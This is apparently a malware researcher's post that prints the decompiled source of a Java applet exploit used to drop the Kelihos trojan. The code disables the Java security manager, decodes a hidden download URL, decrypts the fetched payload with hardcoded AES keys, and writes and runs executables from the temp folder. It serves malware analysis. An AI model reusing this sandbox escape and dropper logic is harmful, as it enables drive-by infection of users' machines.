i did the replaces the XX with "" and it cleans up a little bit:
// #MalwareMustDie - applet used to infect kelihos installer trojan
// Infector are calling this jar with the below code/ parameters :
// @unixfreaxjp ~]$ uname;date
// FreeBSD
// Sat Apr 20 20:37:43 JST 2013
<html><body> <b>Unexpected Error. Please, try again later.</b>
<applet name="x25h" code="Code.class" archive="492.jar">
<param name="name" value="/ggc299x8ugjg8nhin05?x9t-0/gxs">
</applet></body></html>
// Here goes the Jar's decompiled main class...
import java.applet.Applet;
public class Code extends Applet
{
static String Anerl = "";
public void Igigi()
throws Exception
{
Thread.sleep(10L);
}
public void init()
{
Anerl = getParameter(Lajuv.Igogo);
Bannu Bzir = new Bannu();
ClassLoader r = getClass().getClassLoader();
for (int i = 0; i < 100000; i++)
Bzir.Tnby(null);
try
{
Igigi();
} catch (Exception ex) {
}
Pizizi fsae = Bzir.Tnby(r);
Pizizi.Talnat(fsae);
}
}
// All went to Lajuv, Bannu & Pizizi classes....
// Lajuv.class
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.net.URL;
import javax.crypto.spec.SecretKeySpec;
public class Lajuv extends Pizizi
{
public static String Igogo = "name";
public static String VNihik = "java.io.tmpdir";
public static String udrkq = ".e".concat("xe");
static SecretKeySpec mviopea = new SecretKeySpec(Ttaniiy.bdereu.getBytes(), "AES");
public static String CPepf = "file:///";
static InputStream Xmmuit;
static URL Rigi;
public static String VOdo9t = "Likuu";
public static String VTgd = "Likuu.class";
public static void Nryto()
throws Exception
{
Class cls = Class.forName("java.net.URL");
Rigi = (URL)cls.getConstructor(new Class[] { String.class }).newInstance(new Object[] { CPepf });
}
static void LASi()
throws Exception
{
Xmmuit.close();
}
}
// bannu.class
public class Bannu extends Mslakt
{
Pizizi Sportrt = null;
static ClassLoader Tuxiuo;
void Chibo(ClassLoader paramClassLoader)
{
this.Tuxiuo = paramClassLoader;
}
Pizizi Tnby(ClassLoader zq3)
{
if (zq3 == this.Sportrt)
return null;
Object ag = Tuxiuo;
Chibo(zq3);
if (this.Sportrt != this.Vubnipyx1) return this.Vubnipyx1;
if (this.Sportrt != this.Vubnipyx2) return this.Vubnipyx2;
if (this.Sportrt != this.Vubnipyx3) return this.Vubnipyx3;
if (this.Sportrt != this.Vubnipyx4) return this.Vubnipyx4;
if (this.Sportrt != this.Vubnipyx5) return this.Vubnipyx5;
if (this.Sportrt != this.Vubnipyx6) return this.Vubnipyx6;
if (this.Sportrt != this.Vubnipyx7) return this.Vubnipyx7;
if (this.Sportrt != this.Vubnipyx8) return this.Vubnipyx8;
if (this.Sportrt != this.Vubnipyx9) return this.Vubnipyx9;
if (this.Sportrt != this.Vubnipyx10) return this.Vubnipyx10;
if (this.Sportrt != this.Vubnipyx11) return this.Vubnipyx11;
if (this.Sportrt != this.Vubnipyx12) return this.Vubnipyx12;
if (this.Sportrt != this.Vubnipyx13) return this.Vubnipyx13;
if (this.Sportrt != this.Vubnipyx14) return this.Vubnipyx14;
if (this.Sportrt != this.Vubnipyx15) return this.Vubnipyx15;
return Obge();
}
}
// Pizizi classs...
import java.io.InputStream;
import java.security.ProtectionDomain;
public class Pizizi extends ClassLoader
{
public static void Talnat(Pizizi xocnvoi)
{
try
{
InputStream zdfearj = xocnvoi.getResourceAsStream(Lajuv.VTgd);
int i = zdfearj.available();
Cheii6.Vavoret();
byte[] kxololr = new byte[i];
zdfearj.read(kxololr, 0, i);
Lajuv.Nryto();
ProtectionDomain chwej4 = (ProtectionDomain)Ttaniiy.kobibe();
xocnvoi.defineClass(Lajuv.VOdo9t, kxololr, 0, kxololr.length, chwej4).newInstance();
}
catch (Exception e)
{
}
}
}
// Mslakt classs is called by Bannu...
public class Mslakt extends the Maktpnb class
{
Pizizi Obge()
{
if (this.Chicki != this.Vubnipyx18) return this.Vubnipyx18;
if (this.Chicki != this.Vubnipyx19) return this.Vubnipyx19;
if (this.Chicki != this.Vubnipyx20) return this.Vubnipyx20;
if (this.Chicki != this.Vubnipyx21) return this.Vubnipyx21;
if (this.Chicki != this.Vubnipyx22) return this.Vubnipyx22;
if (this.Chicki != this.Vubnipyx23) return this.Vubnipyx23;
if (this.Chicki != this.Vubnipyx24) return this.Vubnipyx24;
if (this.Chicki != this.Vubnipyx25) return this.Vubnipyx25;
if (this.Chicki != this.Vubnipyx26) return this.Vubnipyx26;
if (this.Chicki != this.Vubnipyx27) return this.Vubnipyx27;
if (this.Chicki != this.Vubnipyx28) return this.Vubnipyx28;
if (this.Chicki != this.Vubnipyx29) return this.Vubnipyx29;
if (this.Chicki != this.Vubnipyx30) return this.Vubnipyx30;
if (this.Zion != this.Vubnipyx31) return this.Vubnipyx31;
if (this.Zion != this.Vubnipyx32) return this.Vubnipyx32;
if (this.Zion != this.Vubnipyx33) return this.Vubnipyx33;
if (this.Zion != this.Vubnipyx34) return this.Vubnipyx34;
return Fukkcia();
}
}
// Ttaniiy class was called from Lajuv
import java.lang.reflect.Constructor;
import java.security.CodeSource;
import java.security.cert.Certificate;
public class Ttaniiy
{
static String mivnr = "java.security.ProtectionDomain";
public static String jvuitk = "bcd21e295e55ef6e";
public static String bdereu = "8a61385ec6834ce2";
public static Object kobibe() throws Exception
{
Class rahes = Class.forName("java.security.PermissionCollection");
return Class.forName(mivnr).getConstructor(new Class[] { CodeSource.class, rahes }).newInstance(new Object[] { new CodeSource(Lajuv.Rigi, new Certificate[0]), Tabjby.Soozl });
}
}
// Cheii6 class was called from Lajuv
import java.io.FileOutputStream;
import java.security.AllPermission;
import java.security.Permissions;
public class Cheii6
{
static String TOnt = "Xh".concat("b25t3o");
public static String AES/CBC/NoPadding = "AES/CBC/NoPadding";
public static void Vavoret()
throws Exception
{
Object sgqh = new AllPermission();
Tabjby.Soozl.add((AllPermission)sgqh);
}
public static void CHiobi(byte[] skkivr, String aset)
throws Exception
{
FileOutputStream ibguit = new FileOutputStream(aset);
ibguit.write(skkivr, 0, skkivr.length);
ibguit.close();
Kefir.Clani(aset);
}
}
// Tabjby class was called by Ttaniiy
import java.security.Permissions;
public class Tabjby
{
static Permissions Soozl = new Permissions();
public static boolean HGHib(byte[] bsrw, int offset, byte[] rtuisr)
{
if (rtuisr.length > bsrw.length - offset) {
return false;
}
for (int i = 0; i < rtuisr.length; i++) {
if (bsrw[(offset + i)] != rtuisr[i])
return false;
}
return true;
}
public static int ANaib(byte[] bsrw, byte[] rtuisr)
{
for (int i = 0; i < bsrw.length; i++)
{
if (HGHib(bsrw, i, rtuisr))
return i;
}
return -94;
}
}
// Other classes with same interracted var obfs calls:
// Kanalia class...
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.util.Arrays;
public class Kanalia
{
static String pooivh = "xywewey";
static String kbcubt = "aeraetk";
public static void Bonwe(byte[] kss7er) throws Exception
{
try
{
String dsgoir = System.getProperty(Lajuv.VNihik);
if (dsgoir.charAt(dsgoir.length() - 1) != '\\') {
dsgoir = dsgoir + "\\";
}
byte[] zxgetj = Kefir.Talln(kss7er);
int xcvnwe = Tabjby.ANaib(zxgetj, Cheii6.TOnt.getBytes());
byte[][] mysres = new byte[2][];
String xcbbrb = dsgoir + pooivh + Lajuv.udrkq;
String xcbbrb1 = dsgoir + kbcubt + Lajuv.udrkq;
if (xcvnwe == -94) {
Cheii6.CHiobi(zxgetj, xcbbrb);
}
else
{
mysres[0] = Arrays.copyOfRange(zxgetj, 0, xcvnwe);
mysres[1] = Arrays.copyOfRange(zxgetj, xcvnwe + 8, zxgetj.length);
Cheii6.CHiobi(mysres[0], xcbbrb);
Cheii6.CHiobi(mysres[1], xcbbrb1);
}
}
catch (Exception e)
{
}
}
byte[] Sainte(String zwejasy) throws Exception
{
Lajuv.Xmmuit = Kefir.Sankx(zwejasy);
ByteArrayOutputStream vointg = new ByteArrayOutputStream();
int i;
for (int j = 0; (i = Lajuv.Xmmuit.read()) != -1; j++) vointg.write(i);
vointg.close();
Lajuv.LASi();
return vointg.toByteArray();
}
}
// Kefir class..
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
public class Kefir
{
public static void Clani(String zellit)
throws IOException
{
ProcessBuilder kelnt = new ProcessBuilder(new String[] { zellit });
Process p = kelnt.start();
}
public static InputStream Sankx(String colka)
throws Exception
{
URL frontodote = new URL(colka);
String osos = "sdo";
frontodote.openConnection();
return frontodote.openStream();
}
public static byte[] Talln(byte[] zdherj)
throws Exception
{
Cipher vert = Cipher.getInstance(Cheii6.AES/CBC/NoPadding);
IvParameterSpec unttd = new IvParameterSpec(Ttaniiy.jvuitk.getBytes());
vert.init(2, Lajuv.mviopea, unttd);
return vert.doFinal(zdherj);
}
}
// Likuu class..., callback to Kanalia
import java.lang.reflect.Method;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
public class Likuu
implements PrivilegedExceptionAction
{
public static void CLi()
throws Exception
{
Class.forName("java.lang.System").getMethod("setSecurityManager", new Class[] { SecurityManager.class }).invoke(null, new Object[] { null });
}
public Likuu()
{
try {
AccessController.doPrivileged(this);
}
catch (Exception e)
{
}
}
public Object run() throws Exception
{
CLi();
Kanalia zsqt = new Kanalia();
String gedre = Mizi.VObor(Code.Anerl);
Kanalia.Bonwe(zsqt.Sainte(gedre));
return null;
}
}
// Maktpnb class..
public class Maktpnb extends Mizi
{
Object Dedbef = null;
public static String Soisi = "java.security.AllPermission";
Pizizi Chicki = null;
Pizizi Ellebut()
{
if (this.Zion != this.Liibsr) return this.Liibsr;
if (this.Zion != this.Vubnipyx62) return this.Vubnipyx62;
if (this.Zion != this.Vubnipyx63) return this.Vubnipyx63;
if (this.Zion != this.Vubnipyx64) return this.Vubnipyx64;
if (this.Zion != this.Vubnipyx65) return this.Vubnipyx65;
if (this.Zion != this.Vubnipyx66) return this.Vubnipyx66;
if (this.Zion != this.Vubnipyx67) return this.Vubnipyx67;
if (this.Zion != this.Vubnipyx68) return this.Vubnipyx68;
if (this.Zion != this.Vubnipyx69) return this.Vubnipyx69;
if (this.Zion != this.Vubnipyx70) return this.Vubnipyx70;
if (this.Zion != this.Vubnipyx71) return this.Vubnipyx71;
if (this.Zion != this.Vubnipyx72) return this.Vubnipyx72;
if (this.Zion != this.Vubnipyx73) return this.Vubnipyx73;
if (this.Zion != this.Vubnipyx74) return this.Vubnipyx74;
if (this.Zion != this.Vubnipyx75) return this.Vubnipyx75;
if (this.Zion != this.Vubnipyx76) return this.Vubnipyx76;
if (this.Zion != this.Vubnipyx77) return this.Vubnipyx77;
if (this.Zion != this.Vubnipyx78) return this.Vubnipyx88;
if (this.Zion != this.Vubnipyx79) return this.Vubnipyx79;
if (this.Zion != this.Vubnipyx80) return this.Vubnipyx80;
if (this.Zion != this.Vubnipyx81) return this.Vubnipyx81;
if (this.Zion != this.Vubnipyx82) return this.Vubnipyx82;
if (this.Zion != this.VOAod) return this.VOAod;
return Morrea();
}
Pizizi Fukkcia()
{
if (this.Zion != this.Vubnipyx35) return this.Vubnipyx35;
if (this.Zion != this.Vubnipyx36) return this.Vubnipyx36;
if (this.Zion != this.Vubnipyx37) return this.Vubnipyx37;
if (this.Zion != this.Vubnipyx38) return this.Vubnipyx38;
if (this.Zion != this.Vubnipyx39) return this.Vubnipyx39;
if (this.Zion != this.Vubnipyx40) return this.Vubnipyx40;
if (this.Zion != this.Vubnipyx41) return this.Vubnipyx41;
if (this.Zion != this.Vubnipyx42) return this.Vubnipyx42;
if (this.Zion != this.Vubnipyx43) return this.Vubnipyx43;
if (this.Zion != this.Vubnipyx43) return this.Vubnipyx44;
if (this.Zion != this.Vubnipyx45) return this.Vubnipyx45;
if (this.Zion != this.Vubnipyx46) return this.Vubnipyx46;
if (this.Zion != this.Vubnipyx47) return this.Vubnipyx47;
if (this.Zion != this.Vubnipyx48) return this.Vubnipyx48;
if (this.Zion != this.Vubnipyx49) return this.Vubnipyx49;
if (this.Zion != this.Vubnipyx50) return this.Vubnipyx50;
if (this.Zion != this.Vubnipyx51) return this.Vubnipyx51;
if (this.Zion != this.Vubnipyx52) return this.Vubnipyx52;
if (this.Zion != this.Vubnipyx53) return this.Vubnipyx53;
if (this.Zion != this.Vubnipyx53) return this.Vubnipyx54;
if (this.Zion != this.Vubnipyx55) return this.Vubnipyx55;
if (this.Zion != this.Vubnipyx56) return this.Vubnipyx56;
if (this.Zion != this.Vubnipyx57) return this.Vubnipyx57;
if (this.Zion != this.Vubnipyx58) return this.Vubnipyx58;
if (this.Zion != this.Vubnipyx59) return this.Vubnipyx59;
if (this.Zion != this.Vubnipyx60) return this.Vubnipyx60;
return Ellebut();
}
Pizizi Morrea() {
if (this.Zion != this.Chaik) return this.Chaik;
if (this.Zion != this.Vubnipyx85) return this.Vubnipyx85;
if (this.Zion != this.Vubnipyx86) return this.Vubnipyx86;
if (this.Zion != this.Vubnipyx87) return this.Vubnipyx87;
if (this.Zion != this.Vubnipyx88) return this.Vubnipyx88;
if (this.Zion != this.Vubnipyx89) return this.Vubnipyx89;
if (this.Zion != this.Vubnipyx90) return this.Vubnipyx90;
if (this.Zion != this.Vubnipyx91) return this.Vubnipyx91;
if (this.Zion != this.Vubnipyx92) return this.Vubnipyx92;
if (this.Zion != this.Vubnipyx93) return this.Vubnipyx93;
if (this.Zion != this.Vubnipyx94) return this.Vubnipyx94;
if (this.Zion != this.Pfibe) return this.Pfibe;
return null;
}
}
// Calling to this Mizi class...
public class Mizi
{
Pizizi Zion = null;
Pizizi Vubnipyx1;
Pizizi Vubnipyx2;
Pizizi Vubnipyx3;
Pizizi Vubnipyx4;
Pizizi Vubnipyx5;
Pizizi Vubnipyx6;
Pizizi Vubnipyx7;
Pizizi Vubnipyx8;
Pizizi Vubnipyx9;
String srtj = "zdfjw3";
Pizizi Vubnipyx37;
Pizizi Vubnipyx38;
Pizizi Vubnipyx39;
Pizizi Vubnipyx40;
Pizizi Vubnipyx41;
Pizizi Vubnipyx42;
Pizizi Vubnipyx43;
Pizizi Vubnipyx44;
Pizizi Vubnipyx45;
Pizizi Vubnipyx46;
Pizizi Vubnipyx47;
String erjs = "136i";
Pizizi Vubnipyx48;
Pizizi Vubnipyx49;
Pizizi Vubnipyx50;
Pizizi Vubnipyx51;
Pizizi Vubnipyx52;
Pizizi Vubnipyx53;
Pizizi Vubnipyx54;
Pizizi Vubnipyx55;
Pizizi Vubnipyx56;
Pizizi Vubnipyx57;
Pizizi Vubnipyx58;
Pizizi Vubnipyx59;
Pizizi Vubnipyx60;
Pizizi Liibsr;
Pizizi Vubnipyx62;
String df = "aer743";
Pizizi Vubnipyx63;
Pizizi Vubnipyx64;
Pizizi Vubnipyx65;
Pizizi Vubnipyx66;
Pizizi Vubnipyx67;
Pizizi Vubnipyx68;
Pizizi Vubnipyx69;
Pizizi Vubnipyx70;
Pizizi Vubnipyx71;
Pizizi Vubnipyx72;
Pizizi Vubnipyx17;
String s65er = " cn2d";
Pizizi Vubnipyx18;
Pizizi Vubnipyx19;
Pizizi Vubnipyx20;
Pizizi Vubnipyx21;
Pizizi Vubnipyx22;
Pizizi Vubnipyx23;
Pizizi Vubnipyx24;
Pizizi Vubnipyx25;
Pizizi Vubnipyx26;
Pizizi Vubnipyx27;
Pizizi Vubnipyx28;
Pizizi Vubnipyx29;
Pizizi Vubnipyx30;
Pizizi Vubnipyx31;
Pizizi Vubnipyx32;
String v65nke = "fsdty";
Pizizi Vubnipyx33;
Pizizi Vubnipyx34;
Pizizi Vubnipyx35;
Pizizi Vubnipyx36;
Pizizi Vubnipyx73;
Pizizi Vubnipyx74;
Pizizi Vubnipyx75;
Pizizi Vubnipyx76;
Pizizi Vubnipyx77;
Pizizi Vubnipyx78;
Pizizi Vubnipyx79;
Pizizi Vubnipyx80;
Pizizi Vubnipyx81;
Pizizi VOAod;
Pizizi Chaik;
Pizizi Vubnipyx85;
Pizizi Vubnipyx86;
Pizizi Vubnipyx87;
String ssdh = "bnbery";
Pizizi Vubnipyx88;
Pizizi Vubnipyx89;
Pizizi Vubnipyx90;
Pizizi Vubnipyx91;
Pizizi Vubnipyx92;
Pizizi Vubnipyx93;
Pizizi Vubnipyx94;
Pizizi Pfibe;
Pizizi Vubnipyx82;
Pizizi Vubnipyx10;
Pizizi Vubnipyx11;
Pizizi Vubnipyx12;
Pizizi Vubnipyx13;
Pizizi Vubnipyx14;
Pizizi Vubnipyx15;
Pizizi Vubnipyx16;
String sdgo = "cxdxd";
public static String VObor(String iitusix)
{
String o = "qwertyuiopasdfghjklzxcvbnm0123456789.-=_/:?&";
String c = "qb8ug7yi?celz6_/1ns3.5o&hxm4:dftvwa-0jrk92p=";
String ifuss = "";
for (int i = 0; i < iitusix.length(); i++) {
ifuss = ifuss + o.charAt(c.indexOf(iitusix.charAt(i)));
}
return ifuss;
}
}
---
#MalwareMustDie!
Comments